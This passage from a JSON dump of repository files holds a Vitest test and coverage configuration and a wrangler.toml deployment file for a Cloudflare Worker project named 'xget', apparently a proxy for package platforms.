    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    testTimeout: 60000,\n    hookTimeout: 30000,\n    include: [\n      'test/features/auth.test.js',\n      'test/unit/**/*.test.js',\n      'test/platforms/crates.test.js',\n      'test/platforms/cran.test.js',\n      'test/platforms/flathub.test.js',\n      'test/platforms/homebrew.test.js',\n      'test/platforms/jenkins.test.js',\n      'test/platforms/npm-fix.test.js',\n      'test/platforms/opensuse.test.js'\n    ],\n    coverage: {\n      // Cloudflare's Vitest Workers pool cannot emit reliable coverage yet,\n      // so this suite targets the Node-compatible tests that still exercise src/.\n      provider: 'istanbul',\n      reporter: ['text', 'json', 'html', 'lcov'],\n      reportsDirectory: './coverage',\n      exclude: [\n        'node_modules/**',\n        'test/**',\n        'coverage/**',\n        'dist/**',\n        '*.config.js',\n        '*.config.ts'\n      ],\n      include: ['src/**/*.js', 'src/**/*.ts'],\n      thresholds: {\n        global: {\n          branches: 65,\n          functions: 75,\n          lines: 70,\n          statements: 70\n        }\n      }\n    }\n  }\n});\n"
  },
  {
    "path": "wrangler.toml",
    "content": "#:schema node_modules/wrangler/config-schema.json\nname = \"xget\"\nmain = \"src/index.js\"\ncompatibility_date = \"2024-10-22\"\ncompatibility_flags = [\"nodejs_compat\"]\nworkers_dev = false\n\n[placement]\nmode = \"smart\"\n\n[observability]\nenabled = false\nhead_sampling_rate = 1\n\n[observability.logs]\nenabled = true\nhead_sampling_rate = 1\npersist = true\ninvocation_logs = true\n\n[observability.traces]\nenabled = true\npersist = true\nhead_sampling_rate = 1\n"
  }
]